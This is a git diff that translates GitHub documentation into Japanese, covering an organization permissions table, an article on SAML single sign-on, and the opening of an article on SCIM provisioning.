-| Edit and delete team discussions in **all teams** (for more information, see "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments)) | **X** |  |  |  |
-| Hide comments on commits, pull requests, and issues (see "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)" for details) | **X** | **X** | **X**  |
-| Disable team discussions for an organization (see "[Disabling team discussions for your organization](/articles/disabling-team-discussions-for-your-organization)" for details) | **X** |  |  |
-| Set a team profile picture in **all teams** (see "[Setting your team's profile picture](/articles/setting-your-team-s-profile-picture)" for details) | **X** |  |  |{% ifversion ghes > 3.0 %}
-| Manage the publication of {% data variables.product.prodname_pages %} sites from repositories in the organization (see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)" for details) | **X** | |  |{% endif %}
-| [Move teams in an organization's hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy) | **X** | | |
-| Pull (read) *all repositories* in the organization | **X** | | **X** |
-| Push (write) and clone (copy) *all repositories* in the organization | **X** | |  |
-| Convert organization members to [outside collaborators](#outside-collaborators) | **X** | |  |
-| [View people with access to an organization repository](/articles/viewing-people-with-access-to-your-repository) | **X** | |  |
-| [Export a list of people with access to an organization repository](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository) | **X** | |  |
-| Manage default labels (see "[Managing default labels for repositories in your organization](/articles/managing-default-labels-for-repositories-in-your-organization)") | **X** | |  |
+| Organization のアクション                                                                                                                                                                                                                                                                    | オーナー  | メンバー  |              Security managers               |
+|:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |:-----:|:-----:|:--------------------------------------------:|
+| Organization に参加するようユーザを招待する                                                                                                                                                                                                                                                           | **X** |       |                                              |
+| Organization に参加する招待を編集およびキャンセルする                                                                                                                                                                                                                                                      | **X** |       |                                              |
+| Organization からメンバーを削除する                                                                                                                                                                                                                                                               | **X** |       |                      |                       |
+| 以前のメンバーを Oraganization に復帰させる                                                                                                                                                                                                                                                          | **X** |       |                      |                       |
+| **すべての Team** に対してユーザーを追加および削除する                                                                                                                                                                                                                                                       | **X** |       |                                              |
+| Organization メンバーを*チームメンテナ*に昇格させる                                                                                                                                                                                                                                                      | **X** |       |                                              |
+| コードレビューの割り当てを設定する ([「Team のコードレビューの割り当てを管理する」](/organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team)を参照)                                                                                                                                         | **X** |       |                                              |
+| **すべてのリポジトリに**コラボレーターを追加する                                                                                                                                                                                                                                                             | **X** |       |                                              |
+| Organization 参加ログにアクセスする                                                                                                                                                                                                                                                               | **X** |       |                                              |
+| Organization のプロフィールページを変更する (詳細は「[Organization のプロフィールについて](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)」を参照)                                                                                                       | **X** |       |         |{% ifversion ghes > 3.1 %}
+| Organization のドメインを検証する (詳細は「[Organization のドメインを検証する](/articles/verifying-your-organization-s-domain)」を参照)                                                                                                                                                                            | **X** |       |                                              |
+| メール通知を検証済みあるいは承認済みドメインに制限する（詳細については[Organizationのメール通知を制限する](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)を参照してください）                                                                                                          | **X** |       |                 
+{% endif %}
+| **すべての Team** を削除する                                                                                                                                                                                                                                                                    | **X** |       |                                              |
+| すべてのリポジトリを含めて Organization のアカウントを削除する                                                                                                                                                                                                                                                 | **X** |       |                                              |
+| Team を作成する (詳細は「[Organization のチーム作成権限を設定する](/articles/setting-team-creation-permissions-in-your-organization)」を参照)                                                                                                                                                                    | **X** | **X** |                    **X**                     |
+| Organization の全メンバーおよび Team の表示                                                                                                                                                                                                                                                        | **X** | **X** |                    **X**                     |
+| 参照可能なチームへの @メンション                                                                                                                                                                                                                                                                      | **X** | **X** |                    **X**                     |
+| *チームメンテナ*に指定できる                                                                                                                                                                                                                                                                        | **X** | **X** |                    **X**                     |
+| リポジトリを移譲する                                                                                                                                                                                                                                                                             | **X** |       |                                              |
+| Organization のセキュリティおよび分析設定を管理する (詳細は「[Organization のセキュリティおよび分析設定を管理する](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)」を参照)                                                                                           | **X** |       |      **X** |{% ifversion ghes > 3.1 %}
+| View the security overview for the organization (see "[About the security overview](/code-security/security-overview/about-the-security-overview)" for details)                                                                                                                        | **X** |       | **X** |{% endif %}{% ifversion ghes > 3.2 %}
+| {% data variables.product.prodname_dependabot_security_updates %} の管理 (「[{% data variables.product.prodname_dependabot_security_updates %} について](/github/managing-security-vulnerabilities/about-dependabot-security-updates)」を参照)                                                 | **X** |       |              **X** 
+{% endif %}
+| Organization の SSH 認証局を管理する (詳細は「[Organization の SSH 認証局を管理する](/articles/managing-your-organizations-ssh-certificate-authorities)」を参照)                                                                                                                                                 | **X** |       |                                              |
+| プロジェクトボードを作成する (詳細は「[Organization のプロジェクトボード権限](/articles/project-board-permissions-for-an-oganization)」を参照)                                                                                                                                                                           | **X** | **X** |                    **X**                     |
+| パブリック Team のディスカッションを表示し、**すべての Team** に投稿する (詳細は「[Team ディスカッションについて](/organizations/collaborating-with-your-team/about-team-discussions)」を参照)                                                                                                                                         | **X** | **X** |                    **X**                     |
+| プライベート Team のディスカッションを表示し、**すべての Team** に投稿する (詳細は「[Team ディスカッションについて](/organizations/collaborating-with-your-team/about-team-discussions)」を参照)                                                                                                                                        | **X** |       |                                              |
+| **すべての Team** で Team ディスカッションを編集および削除する (「[混乱を生むコメントを管理する](/communities/moderating-comments-and-conversations/managing-disruptive-comments)」を参照)                                                                                                                                       | **X** |       |                      |                       |
+| コミット、プルリクエスト、Issue についてコメントを非表示にする (詳細は「[混乱を生むコメントを管理する](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)」を参照)                                                                                                                       | **X** | **X** |                    **X**                     |
+| Organization の Team ディスカッションを無効にする (詳細は「[Organization の Team ディスカッションを無効化する](/articles/disabling-team-discussions-for-your-organization)」を参照)                                                                                                                                          | **X** |       |                                              |
+| **すべての Team** で Team プロフィール画像を設定する (詳細は「[Team のプロフィール画像を設定する](/articles/setting-your-team-s-profile-picture)」を参照)                                                                                                                                                                      | **X** |       |         |{% ifversion ghes > 3.0 %}
+| Organization 内のリポジトリからの {% data variables.product.prodname_pages %} サイトの公開を管理する（詳細は、「[Organization の {% data variables.product.prodname_pages %} サイトの公開を管理する](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)」を参照） | **X** |       |                 
+{% endif %}
+| [Organization の階層で Team を移動する](/articles/moving-a-team-in-your-organization-s-hierarchy)                                                                                                                                                                                               | **X** |       |                                              |
+| Pull (read) *all repositories* in the organization                                                                                                                                                                                                                                     | **X** |       |                    **X**                     |
+| Push (write) and clone (copy) *all repositories* in the organization                                                                                                                                                                                                                   | **X** |       |                                              |
+| Organization メンバーの[外部コラボレーター](#outside-collaborators)への変換                                                                                                                                                                                                                              | **X** |       |                                              |
+| [Organization リポジトリへのアクセス権がある人を表示する](/articles/viewing-people-with-access-to-your-repository)                                                                                                                                                                                          | **X** |       |                                              |
+| [Organization リポジトリへのアクセス権がある人のリストをエクスポートする](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository)                                                                                                                       | **X** |       |                                              |
+| デフォルトラベルの管理 (「[Organization 内のリポジトリのためのデフォルトラベルを管理する](/articles/managing-default-labels-for-repositories-in-your-organization)」を参照)                                                                                                                                                    | **X** |       |                                              |
 {% ifversion ghae %}| Manage IP allow lists (see "[Restricting network traffic to your enterprise](/admin/configuration/restricting-network-traffic-to-your-enterprise)") | **X** | |  |{% endif %}
 
 
 {% else %}
 <!--GHES and GHAE older versions don't have the extra column for Billing managers or Security managers-->
 
-| Organization action | Owners | Members |
-|:--------------------|:------:|:-------:|
-| Invite people to join the organization | **X** |  |
-| Edit and cancel invitations to join the organization | **X** |  |
-| Remove members from the organization | **X** | | |
-| Reinstate former members to the organization | **X** | | |
-| Add and remove people from **all teams** | **X** |  |  
-| Promote organization members to *team maintainer* | **X** |  |
-| Configure code review assignments (see "[Managing code review settings for your team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)")) | **X** |  |
-| Add collaborators to **all repositories** | **X** |  |
-| Access the organization audit log | **X** |  |
-| Edit the organization's profile page (see "[About your organization's profile](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)" for details) | **X** |  |  |{% ifversion ghes > 3.1 %}
-| Verify the organization's domains (see "[Verifying your organization's domain](/articles/verifying-your-organization-s-domain)" for details) | **X** |  |
-| Restrict email notifications to verified or approved domains (see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)" for details) | **X** |  |{% endif %}
-| Delete **all teams** | **X** |  |
-| Delete the organization account, including all repositories | **X** |  |
-| Create teams (see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)" for details) | **X** | **X** |
-| See all organization members and teams | **X** | **X** |
-| @mention any visible team | **X** | **X** |
-| Can be made a *team maintainer* | **X** | **X** |
-| Transfer repositories | **X** | |
-| Manage an organization's SSH certificate authorities (see "[Managing your organization's SSH certificate authorities](/articles/managing-your-organizations-ssh-certificate-authorities)" for details) | **X** |  |
-| Create project boards (see "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)" for details) | **X** | **X** | |
-| View and post public team discussions to **all teams** (see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" for details) | **X** | **X** |  |
-| View and post private team discussions to **all teams** (see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)" for details) | **X** |  |  |
-| Edit and delete team discussions in **all teams** (for more information, see "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments)) | **X** |  |  |
-| Hide comments on commits, pull requests, and issues (see "[Managing disruptive comments](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)" for details) | **X** | **X** | **X** |
-| Disable team discussions for an organization (see "[Disabling team discussions for your organization](/articles/disabling-team-discussions-for-your-organization)" for details) | **X** |  |  |
-| Set a team profile picture in **all teams** (see "[Setting your team's profile picture](/articles/setting-your-team-s-profile-picture)" for details) | **X** |  |  |{% ifversion ghes > 3.0 %}
-| Manage the publication of {% data variables.product.prodname_pages %} sites from repositories in the organization (see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)" for details) | **X** | |{% endif %}
-| [Move teams in an organization's hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy) | **X** | | |
-| Pull (read), push (write), and clone (copy) *all repositories* in the organization | **X** | |
-| Convert organization members to [outside collaborators](#outside-collaborators) | **X** | |
-| [View people with access to an organization repository](/articles/viewing-people-with-access-to-your-repository) | **X** | |
-| [Export a list of people with access to an organization repository](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository) | **X** | |
-| Manage default labels (see "[Managing default labels for repositories in your organization](/articles/managing-default-labels-for-repositories-in-your-organization)") | **X** | |
-{% ifversion ghae %}| Manage IP allow lists (see "[Restricting network traffic to your enterprise](/admin/configuration/restricting-network-traffic-to-your-enterprise)") | **X** | |{% endif %}
+| Organization のアクション                                                                                                                                                                                                                                                                    | オーナー  |              メンバー              |
+|:-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |:-----:|:------------------------------:|
+| Organization に参加するようユーザを招待する                                                                                                                                                                                                                                                           | **X** |                                |
+| Organization に参加する招待を編集およびキャンセルする                                                                                                                                                                                                                                                      | **X** |                                |
+| Organization からメンバーを削除する                                                                                                                                                                                                                                                               | **X** |               |                |
+| 以前のメンバーを Oraganization に復帰させる                                                                                                                                                                                                                                                          | **X** |               |                |
+| **すべての Team** に対してユーザーを追加および削除する                                                                                                                                                                                                                                                       | **X** |                                |
+| Organization メンバーを*チームメンテナ*に昇格させる                                                                                                                                                                                                                                                      | **X** |                                |
+| Configure code review assignments (see "[Managing code review settings for your team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)"))                                                                                                     | **X** |                                |
+| **すべてのリポジトリに**コラボレーターを追加する                                                                                                                                                                                                                                                             | **X** |                                |
+| Organization 参加ログにアクセスする                                                                                                                                                                                                                                                               | **X** |                                |
+| Organization のプロフィールページを変更する (詳細は「[Organization のプロフィールについて](/github/setting-up-and-managing-your-github-profile/customizing-your-profile/about-your-organizations-profile)」を参照)                                                                                                       | **X** | |  |{% ifversion ghes > 3.1 %}
+| Organization のドメインを検証する (詳細は「[Organization のドメインを検証する](/articles/verifying-your-organization-s-domain)」を参照)                                                                                                                                                                            | **X** |                                |
+| メール通知を検証済みあるいは承認済みドメインに制限する（詳細については[Organizationのメール通知を制限する](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)を参照してください）                                                                                                          | **X** |          
+{% endif %}
+| **すべての Team** を削除する                                                                                                                                                                                                                                                                    | **X** |                                |
+| すべてのリポジトリを含めて Organization のアカウントを削除する                                                                                                                                                                                                                                                 | **X** |                                |
+| Team を作成する (詳細は「[Organization のチーム作成権限を設定する](/articles/setting-team-creation-permissions-in-your-organization)」を参照)                                                                                                                                                                    | **X** |             **X**              |
+| Organization の全メンバーおよび Team の表示                                                                                                                                                                                                                                                        | **X** |             **X**              |
+| 参照可能なチームへの @メンション                                                                                                                                                                                                                                                                      | **X** |             **X**              |
+| *チームメンテナ*に指定できる                                                                                                                                                                                                                                                                        | **X** |             **X**              |
+| リポジトリを移譲する                                                                                                                                                                                                                                                                             | **X** |                                |
+| Organization の SSH 認証局を管理する (詳細は「[Organization の SSH 認証局を管理する](/articles/managing-your-organizations-ssh-certificate-authorities)」を参照)                                                                                                                                                 | **X** |                                |
+| プロジェクトボードを作成する (詳細は「[Organization のプロジェクトボード権限](/articles/project-board-permissions-for-an-oganization)」を参照)                                                                                                                                                                           | **X** |            **X** |             |
+| パブリック Team のディスカッションを表示し、**すべての Team** に投稿する (詳細は「[Team ディスカッションについて](/organizations/collaborating-with-your-team/about-team-discussions)」を参照)                                                                                                                                         | **X** |            **X** |             |
+| プライベート Team のディスカッションを表示し、**すべての Team** に投稿する (詳細は「[Team ディスカッションについて](/organizations/collaborating-with-your-team/about-team-discussions)」を参照)                                                                                                                                        | **X** |               |                |
+| **すべての Team** で Team ディスカッションを編集および削除する (「[混乱を生むコメントを管理する](/communities/moderating-comments-and-conversations/managing-disruptive-comments)」を参照)                                                                                                                                       | **X** |               |                |
+| コミット、プルリクエスト、Issue についてコメントを非表示にする (詳細は「[混乱を生むコメントを管理する](/communities/moderating-comments-and-conversations/managing-disruptive-comments/#hiding-a-comment)」を参照)                                                                                                                       | **X** |         **X** | **X**          |
+| Organization の Team ディスカッションを無効にする (詳細は「[Organization の Team ディスカッションを無効化する](/articles/disabling-team-discussions-for-your-organization)」を参照)                                                                                                                                          | **X** |               |                |
+| **すべての Team** で Team プロフィール画像を設定する (詳細は「[Team のプロフィール画像を設定する](/articles/setting-your-team-s-profile-picture)」を参照)                                                                                                                                                                      | **X** | |  |{% ifversion ghes > 3.0 %}
+| Organization 内のリポジトリからの {% data variables.product.prodname_pages %} サイトの公開を管理する（詳細は、「[Organization の {% data variables.product.prodname_pages %} サイトの公開を管理する](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)」を参照） | **X** |          
+{% endif %}
+| [Organization の階層で Team を移動する](/articles/moving-a-team-in-your-organization-s-hierarchy)                                                                                                                                                                                               | **X** |               |                |
+| Organization にある*すべてのリポジトリ*のプル (読み取り)、プッシュ (書き込み)、クローン作成 (コピー)                                                                                                                                                                                                                         | **X** |                                |
+| Organization メンバーの[外部コラボレーター](#outside-collaborators)への変換                                                                                                                                                                                                                              | **X** |                                |
+| [Organization リポジトリへのアクセス権がある人を表示する](/articles/viewing-people-with-access-to-your-repository)                                                                                                                                                                                          | **X** |                                |
+| [Organization リポジトリへのアクセス権がある人のリストをエクスポートする](/articles/viewing-people-with-access-to-your-repository/#exporting-a-list-of-people-with-access-to-your-repository)                                                                                                                       | **X** |                                |
+| デフォルトラベルの管理 (「[Organization 内のリポジトリのためのデフォルトラベルを管理する](/articles/managing-default-labels-for-repositories-in-your-organization)」を参照)                                                                                                                                                    | **X** |                                |
+{% ifversion ghae %}| IP許可リストの管理（see "[Enterpriseへのネットワークトラフィックの制限](/admin/configuration/restricting-network-traffic-to-your-enterprise)"） | **X** | |{% endif %}
 
 {% endif %}
 
-## Further reading
+## 参考リンク
 
 - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
-- "[Project board permissions for an organization](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization)"
+- [Organization のプロジェクトボード権限](/organizations/managing-access-to-your-organizations-project-boards/project-board-permissions-for-an-organization)
diff --git a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md
index 5839c6e333..918f1e1785 100644
--- a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md
+++ b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on.md
@@ -1,6 +1,6 @@
 ---
-title: About identity and access management with SAML single sign-on
-intro: 'If you centrally manage your users'' identities and applications with an identity provider (IdP), you can configure Security Assertion Markup Language (SAML) single sign-on (SSO) to protect your organization''s resources on {% data variables.product.prodname_dotcom %}.'
+title: SAML シングルサインオンを使うアイデンティティおよびアクセス管理について
+intro: 'ユーザのアイデンティティとアプリケーションをアイデンティティプロバイダ (IdP) で集中管理する場合、Security Assertion Markup Language (SAML) シングルサインオン (SSO) を設定して {% data variables.product.prodname_dotcom %} での Organization のリソースを保護することができます。'
 redirect_from:
   - /articles/about-identity-and-access-management-with-saml-single-sign-on
   - /github/setting-up-and-managing-organizations-and-teams/about-identity-and-access-management-with-saml-single-sign-on
@@ -9,56 +9,56 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: IAM with SAML SSO
+shortTitle: SAML SSOを使うIAM
 ---
 
 {% data reusables.enterprise-accounts.emu-saml-note %}
 
-## About SAML SSO
+## SAML SSO について
 
 {% data reusables.saml.dotcom-saml-explanation %}
 
 {% data reusables.saml.saml-accounts %}
 
-Organization owners can enforce SAML SSO for an individual organization, or enterprise owners can enforce SAML SSO for all organizations in an enterprise account. For more information, see "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+Organization のオーナーは、個々の Organization に SAML SSO を適用できます。または、Enterprise のオーナーは、Enterprise アカウント内のすべての Organization に SAML SSO を適用できます。 詳しい情報については、「[Enterprise 向けのSAML シングルサインオンを設定する](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)」を参照してください。
 
 {% data reusables.saml.outside-collaborators-exemption %}
 
-Before enabling SAML SSO for your organization, you'll need to connect your IdP to your organization. For more information, see "[Connecting your identity provider to your organization](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)."
+Organization で SAML SSO を有効化する前に、IdP を Organization に接続する必要があります。 詳細は「[アイデンティティプロバイダを Organization に接続する](/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization)」を参照してください。
 
-For an organization, SAML SSO can be disabled, enabled but not enforced, or enabled and enforced. After you enable SAML SSO for your organization and your organization's members successfully authenticate with your IdP, you can enforce the SAML SSO configuration. For more information about enforcing SAML SSO for your {% data variables.product.prodname_dotcom %} organization, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)."
+1 つの Organization に対して、SAML SSO は無効化、強制なしの有効化、強制ありの有効化ができます。 Organization に対して SAML SSO を有効にし、Organization のメンバーが IdP での認証に成功した後、SAML SSO 設定を強制できます。 {% data variables.product.prodname_dotcom %} Organization に対して SAML SSO を強制する方法については、「[Organization で SAML シングルサインオンを施行する](/articles/enforcing-saml-single-sign-on-for-your-organization)」を参照してください。
 
-Members must periodically authenticate with your IdP to authenticate and gain access to your organization's resources. The duration of this login period is specified by your IdP and is generally 24 hours. This periodic login requirement limits the length of access and requires users to re-identify themselves to continue.
+認証を受けて Organization のリソースにアクセスするために、メンバーは定期的に IdP の認証を受ける必要があります。 このログイン間隔は利用しているアイデンティティプロバイダ (IdP) によって指定されますが、一般的には 24 時間です。 このように定期的にログインしなければならないことから、アクセスの長さには制限があり、ユーザがアクセスを続行するには再認証が必要になります。
 
-To access the organization's protected resources using the API and Git on the command line, members must authorize and authenticate with a personal access token or SSH key. For more information, see "[Authorizing a personal access token for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)" and "[Authorizing an SSH key for use with SAML single sign-on](/github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)."
+コマンドラインで API と Git を使用して、Organization の保護されているリソースにアクセスするには、メンバーが個人アクセストークンまたは SSH キーで認可および認証を受ける必要があります。 詳しい情報については、「[SAMLシングルサインオンで利用するために個人アクセストークンを認可する](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on)」と、「[SAML シングルサインオンで使用するために SSH キーを認可する](/github/authenticating-to-github/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)」を参照してください。
 
-The first time a member uses SAML SSO to access your organization, {% data variables.product.prodname_dotcom %} automatically creates a record that links your organization, the member's account on {% data variables.product.product_location %}, and the member's account on your IdP. You can view and revoke the linked SAML identity, active sessions, and authorized credentials for members of your organization or enterprise account. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)" and "[Viewing and managing a user's SAML access to your enterprise account](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)."
+The first time a member uses SAML SSO to access your organization, {% data variables.product.prodname_dotcom %} automatically creates a record that links your organization, the member's account on {% data variables.product.product_location %}, and the member's account on your IdP. Organization または Enterprise アカウントのメンバーについて、リンクされた SAML アイデンティティ、アクティブセッション、認可されたクレデンシャルの表示と取り消しが可能です。 詳細は、「[Organization へのメンバーの SAML アクセスの表示と管理](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)」と「[Enterprise アカウントへのユーザの SAML アクセスの表示および管理](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)」を参照してください。
 
-If members are signed in with a SAML SSO session when they create a new repository, the default visibility of that repository is private. Otherwise, the default visibility is public. For more information on repository visibility, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+新しいリポジトリを作成するときにメンバーが SAML SSO セッションでサインインする場合、そのリポジトリのデフォルトの可視性はプライベートになります。 それ以外の場合、デフォルトの可視性はパブリックです。 For more information on repository visibility, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
 
-Organization members must also have an active SAML session to authorize an {% data variables.product.prodname_oauth_app %}. You can opt out of this requirement by contacting {% data variables.contact.contact_support %}. {% data variables.product.product_name %} does not recommend opting out of this requirement, which will expose your organization to a higher risk of account takeovers and potential data loss.
+{% data variables.product.prodname_oauth_app %}を認可するために、Organization メンバーにはアクティブな SAML セッションが必要です。 {% data variables.contact.contact_support %} に連絡すれば、この要件をオプトアウトできます。 ただし、この要件をオプトアウトすることを {% data variables.product.product_name %} はお勧めしません。Organization でアカウント乗っ取りやデータ漏えいのリスクが高くなるからです。
 
 {% data reusables.saml.saml-single-logout-not-supported %}
 
-## Supported SAML services
+## サポートされているSAMLサービス
 
 {% data reusables.saml.saml-supported-idps %}
 
-Some IdPs support provisioning access to a {% data variables.product.prodname_dotcom %} organization via SCIM. {% data reusables.scim.enterprise-account-scim %} For more information, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+一部の IdPは、SCIM を介した {% data variables.product.prodname_dotcom %} Organization へのプロビジョニングアクセスをサポートしています。 {% data reusables.scim.enterprise-account-scim %} 詳しい情報については、「[SCIM について](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim) 」を参照してください。
 
-## Adding members to an organization using SAML SSO
+## SAML SSO で Organization にメンバーを追加する
 
-After you enable SAML SSO, there are multiple ways you can add new members to your organization. Organization owners can invite new members manually on {% data variables.product.product_name %} or using the API. For more information, see "[Inviting users to join your organization](/articles/inviting-users-to-join-your-organization)" and "[Members](/rest/reference/orgs#add-or-update-organization-membership)."
+SAML SSO を有効化後、Organization に新しいメンバーを追加する方法はいくつかあります。 Organization のオーナーは、{% data variables.product.product_name %} で手作業または API を使って、新しいメンバーを招待できます。 詳細は {} の「[Organization に参加するようユーザを招待する](/articles/inviting-users-to-join-your-organization)」および「[メンバー](/rest/reference/orgs#add-or-update-organization-membership)」を参照してください。
 
-To provision new users without an invitation from an organization owner, you can use the URL `https://github.com/orgs/ORGANIZATION/sso/sign_up`, replacing _ORGANIZATION_ with the name of your organization. For example, you can configure your IdP so that anyone with access to the IdP can click a link on the IdP's dashboard to join your {% data variables.product.prodname_dotcom %} organization.
+新しいユーザを、Organization のオーナーから招待せずにプロビジョニングするには、`https://github.com/orgs/ORGANIZATION/sso/sign_up` の URL の _ORGANIZATION_ をあなたの Organization 名に置き換えてアクセスします。 たとえば、あなたの IdP にアクセスできる人なら誰でも、IdP のダッシュボードにあるリンクをクリックして、あなたの {% data variables.product.prodname_dotcom %} Organization に参加できるよう、IdP を設定できます。
 
-If your IdP supports SCIM, {% data variables.product.prodname_dotcom %} can automatically invite members to join your organization when you grant access on your IdP. If you remove a member's access to your {% data variables.product.prodname_dotcom %} organization on your SAML IdP, the member will be automatically removed from the {% data variables.product.prodname_dotcom %} organization. For more information, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+IdP が SCIM をサポートしている場合、{% data variables.product.prodname_dotcom %} は、IdP でアクセス権限が付与されたとき Organization に参加するよう自動的にメンバーを招待できます。 SAML IdP での メンバーの {% data variables.product.prodname_dotcom %} Organization へのアクセス権限を削除すると、そのメンバーは {% data variables.product.prodname_dotcom %} Organization から自動的に削除されます。 詳しい情報については「[SCIMについて](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)」を参照してください。
 
 {% data reusables.organizations.team-synchronization %}
 
 {% data reusables.saml.saml-single-logout-not-supported %}
 
-## Further reading
+## 参考リンク
 
-- "[About two-factor authentication and SAML single sign-on ](/articles/about-two-factor-authentication-and-saml-single-sign-on)"
-- "[About authentication with SAML single sign-on](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)"
+- [2要素認証とSAMLシングルサインオンについて](/articles/about-two-factor-authentication-and-saml-single-sign-on)
+- [SAML シングルサインオンでの認証について](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)
diff --git a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md
index b4df5f9aec..40504fa7ea 100644
--- a/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md
+++ b/translations/ja-JP/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md
@@ -1,6 +1,6 @@
 ---
-title: About SCIM
-intro: 'With System for Cross-domain Identity Management (SCIM), administrators can automate the exchange of user identity information between systems.'
+title: SCIM について
+intro: System for Cross-domain Identity Management (SCIM) を使うと、管理者はユーザの識別情報のシステム間での交換を自動化できます。
 redirect_from:
   - /articles/about-scim
   - /github/setting-up-and-managing-organizations-and-teams/about-scim
@@ -13,20 +13,20 @@ topics:
 
 {% data reusables.enterprise-accounts.emu-scim-note %}
 
-If you use [SAML SSO](/articles/about-identity-and-access-management-with-saml-single-sign-on) in your organization, you can implement SCIM to add, manage, and remove organization members' access to {% data variables.product.product_name %}. For example, an administrator can deprovision an organization member using SCIM and automatically remove the member from the organization.
+[SAML SSO](/articles/about-identity-and-access-management-with-saml-single-sign-on) を Organization 内で使うと、Organization のメンバーの {% data variables.product.product_name %}へのアクセスの追加、管理、削除のための SCIM を実装できます。 たとえば、管理者は Organization のメンバーのデプロビジョニングに SCIM を使い、自動的にメンバーを Organization から削除できます。
 
-If you use SAML SSO without implementing SCIM, you won't have automatic deprovisioning. When organization members' sessions expire after their access is removed from the IdP, they aren't automatically removed from the organization. Authorized tokens grant access to the organization even after their sessions expire. To remove access, organization administrators can either manually remove the authorized token from the organization or automate its removal with SCIM.
+SCIM を実装せずに SAML SSO を使った場合、自動のプロビジョニング解除は行われません。 Organization のメンバーのアクセスが ldP から削除された後、セッションの有効期限が切れても、そのメンバーは Organization から自動的には削除されません。 認証済みのトークンにより、セッションが期限切れになった後も Organization へのアクセスが許可されます。 アクセスを削除するには、Organization の管理者は手動で認証済みのトークンを Organization から削除するか、その削除を SCIM で自動化します。
 
-These identity providers are compatible with the {% data variables.product.product_name %} SCIM API for organizations. For more information, see [SCIM](/rest/reference/scim) in the {% ifversion ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API documentation.
